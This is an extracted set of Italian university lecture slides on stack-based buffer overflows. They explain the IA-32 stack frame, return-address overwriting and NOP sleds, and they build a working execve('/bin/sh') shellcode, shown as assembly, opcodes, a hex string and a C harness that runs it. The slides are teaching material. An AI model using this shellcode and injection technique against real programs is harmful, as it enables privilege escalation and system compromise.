View
245
Download
0
Category
Preview:
Citation preview
ICT security 2002/2003ICT security 2002/2003 11
Buffer OverflowsBuffer Overflows(stack based)(stack based)
Alberto Ornaghi <alor@sikurezza.org>Lorenzo Cavallaro <sullivan@sikurezza.org>
ICT security 2002/2003ICT security 2002/2003 22
Table of contentsTable of contents
Introduzione all’IA-32Introduzione all’IA-32 ProblemaProblema Code InjectionCode Injection ShellcodeShellcode
ICT security 2002/2003ICT security 2002/2003 33
IntroduzioneIntroduzione
ICT security 2002/2003ICT security 2002/2003 44
Record di attivazioneRecord di attivazione
Return AddressReturn Address - E’ l’indirizzo a - E’ l’indirizzo a cui viene ceduto il controllo una cui viene ceduto il controllo una volta terminata l’esecuzione della volta terminata l’esecuzione della funzione.funzione.
Base PointerBase Pointer - E’ il contenuto del - E’ il contenuto del registro EBP al momento della registro EBP al momento della chiamata alla funzione. chiamata alla funzione. Rappresenta il puntatore al record Rappresenta il puntatore al record di attivazione precedente che deve di attivazione precedente che deve essere ripristinato al termine della essere ripristinato al termine della funzionefunzione
ret address
base pointer
automatic variables
...
...
high
low
ICT security 2002/2003ICT security 2002/2003 55
Sullo stackSullo stack
int foo(int a, int b){ int i = 5; return (a + b) * i;}
int main(int argc, char **argv){ int c = 3, d = 4, e = 0; e = foo(c, d); printf(“e = %d\n”, e);}
4
3
high
low
stack
ret address
base pointer
5
ICT security 2002/2003ICT security 2002/2003 66
RDA innestatiRDA innestati
int foo(int a, int b){ bar(a, b);}
int bar(int a, int b){ ...}
int main(int argc, char **argv){ foo(c, d);}
d
c
high
low
b
a
ret address
base pointer
ret address
base pointer
ICT security 2002/2003ICT security 2002/2003 77
Registri della CPURegistri della CPU
EIP: instruction pointer“puntatore all’istruzione successiva”
EBP: frame pointer“puntatore riferito alla base del record di attivazione” (fisso)
ESP: stack pointer“puntatore riferito al top della stack” (mobile)
d
c
high
low
ret address
base pointer
b
ret address
base pointer
a
ICT security 2002/2003ICT security 2002/2003 88
Prologo ed epilogoPrologo ed epilogo
Prologo:Prologo:push %ebppush %ebp (salva %ebp)(salva %ebp)
mov %ebp, %espmov %ebp, %esp (sposta %esp)(sposta %esp)
EpilogoEpilogoleaveleave (ripristina %esp e %ebp)(ripristina %esp e %ebp)
retret (ripristina %eip)(ripristina %eip)
ICT security 2002/2003ICT security 2002/2003 99
Variabili automaticheVariabili automatiche
Int foo(int a, int b){ int i, j; char buf[9]; …}
L’allineamento di default sullo stack e’ a double word (4 byte)
I buffer vengono estesi per essere allineati a 4 byte
b
a
high
low
ret address
base pointer
i
j
buffer
pad
ICT security 2002/2003ICT security 2002/2003 1010
ProblemaProblema
ICT security 2002/2003ICT security 2002/2003 1111
Situazione normaleSituazione normale
int foo(int a, int b){ int i, j; char buf[9]; i = 5; j = 123; strcpy(buf, “sicurezza”);}
b
a
high
low
ret address
base pointer
5
123
s i c u
r e z z
a
05 00 00 00
7B 00 00 00
61
72 65 7A 7A
73 69 63 75
ICT security 2002/2003ICT security 2002/2003 1212
Situazione criticaSituazione critica
int foo(int a, int b){ int i, j; char buf[9]; i = 5; j = 123; strcpy(buf, “sicurezzabcde”);}
b
a
high
low
ret address
base pointer
5
e
s i c u
r e z z
a b c d
05 00 00 00
65 00 00 00
61 62 63 64
72 65 7A 7A
73 69 63 75Buffer Overflow
ICT security 2002/2003ICT security 2002/2003 1313
Situazione molto Situazione molto criticacritica
int foo(int a, int b){ int i, j; char buf[9]; i = 5; j = 123; strcpy(buf, “sicurezzaaaabbbbcccceeeeffff”);}
b
a
high
low
ret address
base pointer
5
123
63 63 63 63
62 62 62 62
61 61 61 61
72 65 7A 7A
73 69 63 75
65 65 65 65
64 64 64 64
Ret Overflow
Segmentation fault...
EIP = 0x65656565
ICT security 2002/2003ICT security 2002/2003 1414
Code InjectionCode Injection
ICT security 2002/2003ICT security 2002/2003 1515
Modifica del ret Modifica del ret addressaddress
b
a
high
low
0xbffffcab
0xbffffca7
0xbffffc8b
8B FC FF BF
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
int a = 3;int b = 5;int e;
e = foo(a, b);
printf(“%d\n”, e);
ret address
base pointer
ret addr
ICT security 2002/2003ICT security 2002/2003 1616
Guessing del “ret Guessing del “ret addr” addr” (1)(1)
Non esiste un algoritmo efficiente per trovare il “ret addr”
Procediamo empiricamente tenendo conto che: il S.O. usa memoria virtuale e paginazione
0xbfffffff
0xbffffffb
0xbffffff7
0xbffffff3
0xbfffffff
0xbffffffb
0xbffffff7
0xbffffff3
Processo 1 Processo 2high
low
ICT security 2002/2003ICT security 2002/2003 1717
Guessing del “ret Guessing del “ret addr” addr” (2)(2)
env
argv
RDA main
RDA foo
high
low
L’immagine dei processi e’ cosi’ L’immagine dei processi e’ cosi’ strutturata:strutturata:
RDA baroffset fisso
offset variabile
ICT security 2002/2003ICT security 2002/2003 1818
Guessing del “ret Guessing del “ret addr” addr” (3)(3)
lo stack pointer (esp) e’ una buona base dalla quale poter togliere (o aggiungere) un offset; quindi l’indirizzo cosi’ ottenuto e’ un buon candidato come retaddr del programma vulnerabile.
buf[4]
buf[0]
a
esp
ret addrb
offset (8)
high
low
ICT security 2002/2003ICT security 2002/2003 1919
ProblematicheProblematiche
Le funzioni di copia per le stringhe (strcpy, Le funzioni di copia per le stringhe (strcpy, gets, ecc) copiano fino al primo NULL byte gets, ecc) copiano fino al primo NULL byte (terminatore per le stringhe).(terminatore per le stringhe).
Il codice iniettato non dovra’ contenere NULL Il codice iniettato non dovra’ contenere NULL bytebyte
code[] = “\xeb\x2a\x5f\xc6\x47\x07\x00\x89\x7f\x08\xc7\x47”;
strcpy(buf, code);
buf = “\xeb\x2a\x5f\xc6\x47\x07”
ICT security 2002/2003ICT security 2002/2003 2020
FacilitazioniFacilitazioni
Per aumentare la Per aumentare la probabilita’ di trovare il probabilita’ di trovare il “ret addr” e’ possibile “ret addr” e’ possibile preparare una “pista di preparare una “pista di atterraggio” di atterraggio” di NOP NOP (0x90)(0x90) (istruzione (istruzione macchina che non fa macchina che non fa nulla).nulla).
ret address
90 90 90 90
90 90 90 90
CODE
INJE
90 90 90 90
90 90 90 90
...
ret addr allargato
CTED
ICT security 2002/2003ICT security 2002/2003 2121
Struttura del bufferStruttura del buffer
Il buffer che verra’ iniettato nel Il buffer che verra’ iniettato nel programma vulnerabile avra’ una programma vulnerabile avra’ una struttura simile a questa:struttura simile a questa:
NOP NOP EXECUTABE CODE RET ADDR
code[] = “\x90\x90\x90...\xeb\x2a...\x8d\xfc\xff\xbf”;
attenzione !!
ICT security 2002/2003ICT security 2002/2003 2222
Considerazioni...Considerazioni...
Il buffer potrebbe essere troppo piccolo Il buffer potrebbe essere troppo piccolo per contenere un codice “utile”per contenere un codice “utile”
Lo stack potrebbe non essere Lo stack potrebbe non essere eseguibileeseguibile
Il “code” puo’ essere messo in qualsiasi Il “code” puo’ essere messo in qualsiasi punto della memoria (non solo sullo punto della memoria (non solo sullo stack, e non solo nel buffer)stack, e non solo nel buffer)
ICT security 2002/2003ICT security 2002/2003 2323
Lo shellcodeLo shellcode
ICT security 2002/2003ICT security 2002/2003 2424
exec.cexec.c
#include <stdio.h>#include <unistd.h>
int main(){
char *shell[] = { "/bin/sh", NULL };
execve(shell[0], shell, NULL);}
ICT security 2002/2003ICT security 2002/2003 2525
Disasm mainDisasm main
push %ebpmov %esp, %ebpsub $0x18, %espmovl $0x809cd00, 0xfffffff8(%ebp)mov 0xfffffff8(%ebp), %eaxand 0xfffffff0, %espmov %eax, 0xfffffff0(%ebp)push %eaxpush $0x0movl $0x0, 0xfffffffc(%ebp)lea 0xfffffff0(%ebp), %eaxmov 0xfffffffc(%ebp), %edxpush %eaxmov %edx, 0xfffffff4(%ebp)push 0xfffffff0(%ebp)call 0x804cab0 <__execve>
$0x0
($0x809cd00)
$0x809cd00
base pointer
$0x809cd00
ICT security 2002/2003ICT security 2002/2003 2626
Disasm execveDisasm execve
mov $0x8(%ebp), %edimov $0xc(%ebp), %ecxmov $0x10(%ebp), %edxmov %edi, %ebxmov $0xb, %eaxint $0x80
$0x0
($0x809cd00)
$0x809cd00
ret address
base address
ICT security 2002/2003ICT security 2002/2003 2727
registriregistri
mov $0x8(%ebp), %edimov $0xc(%ebp), %ecxmov $0x10(%ebp), %edxmov %edi, %ebxmov $0xb, %eaxint $0x80
eax = 0xbebx = “/bin/sh”ecx = (“/bin/sh”, NULL)edx = (0x0)
sh-2.03# iduid=0(root) gid=0(root) groups=0(root)
ICT security 2002/2003ICT security 2002/2003 2828
Lo shellcodeLo shellcodeeax = 0xbebx = “/bin/sh”ecx = (“/bin/sh”, NULL)edx = (0x0)
Supponiamo di avere l’indirizzo sullo stack di “/bin/sh” nel registro %edi
movb $0x0, 0x7(%edi)#terminazionemovl %edi, 0x8(%edi)#indirizzomovl $0x0, 0xc(%edi) #NULLlea 0xc(%edi), %edx #envp NULLlea 0x8(%edi), %ecx #arraymov %edi, %ebx #/bin/shmov $0xb, %eaxint $0x80 #syscall
ICT security 2002/2003ICT security 2002/2003 2929
Lo shellcodeLo shellcodeedi = “/bin/sh”
Come troviamo l’indirizzo sullo stack di “/bin/sh” ???
jmp string_addrafter_jmp:
pop %edi
[...]
string_addr:call after_jmp.string \"/bin/sh\"
Shellcode pagina precedente
ICT security 2002/2003ICT security 2002/2003 3030
Opcode dello shellcodeOpcode dello shellcode
jmp string_addr # 0xeb 0x1eafter_jmp: pop %edi # 0x5f movb $0x0, 0x7(%edi) # 0xc6 0x47 0x07 0x00 movl %edi, 0x8(%edi) # 0x89 0x7f 0x08 movl $0x0, 0xc(%edi) # 0xc7 0x47 0x0c 0x00 0x00 0x00 lea 0xc(%edi), %edx # 0x8d 0x57 0x0c lea 0x8(%edi), %ecx # 0x8d 0x4f 0x08 mov %edi, %ebx # 0x89 0xfb mov $0xb, %eax # 0xb8 0x0b 0x00 0x00 0x00 int $0x80 # 0xcd 0x80string_addr: call after_jmp # 0xe8 0xd1 0xff 0xff 0xff .string \"/bin/sh\"
ICT security 2002/2003ICT security 2002/2003 3131
Eliminazione null bytesEliminazione null bytes
movl $0x0b, %eax {xorl %eax, %eaxmovb %0x0b, %al
movb $0x00, 0xc(%edi){xorl %eax, %eaxmovb %al, 0xc(%edi)
ICT security 2002/2003ICT security 2002/2003 3232
Shellcode finaleShellcode finale
jmp string_addr # 0xeb 0x18after_jmp: pop %edi # 0x5f xorl %eax, %eax # 0x31 0xc0 movb %al, 0x7(%edi) # 0x88 0x47 0x07 movl %edi, 0x8(%edi) # 0x89 0x7f 0x08 movl %eax, 0xc(%edi) # 0x89 0x47 0x0c lea 0xc(%edi), %edx # 0x8d 0x57 0x0c lea 0x8(%edi), %ecx # 0x8d 0x4f 0x08 mov %edi, %ebx # 0x89 0xfb movb $0xb, %al # 0xb0 0x0b int $0x80 # 0xcd 0x80string_addr: call after_jmp # 0xe8 0xde 0xff 0xff 0xff .string \"/bin/sh\"
ICT security 2002/2003ICT security 2002/2003 3333
Testing dello shellcodeTesting dello shellcode
char shellcode[] = "\xeb\x1d\x5f\x31\xc0\x88\x47\x07\x89\x7f\x08\x89”“\x47\x0c\x8d\x57\x0c\x8d\x4f\x08\x89\xfb\xb0\x0b”“\xcd\x80\xe8\xde\xff\xff\xff/bin/sh";
int main(){
void (*f)(void) = (void (*)(void))shellcode;
f();
}
sh-2.03# iduid=0(root) gid=0(root) groups=0(root)
ICT security 2002/2003ICT security 2002/2003 3434
– Lorenzo Cavallaro Lorenzo Cavallaro <sullivan@sikurezza.org><sullivan@sikurezza.org>
– Alberto Ornaghi Alberto Ornaghi <alor@sikurezza.org><alor@sikurezza.org>
Mailing list del corso (per domande tecniche)Mailing list del corso (per domande tecniche)
sikurezza-dsi@yahoogroups.comsikurezza-dsi@yahoogroups.com
sikurezza-dsi-subscribe@yahoogroups.comsikurezza-dsi-subscribe@yahoogroups.com
Recommended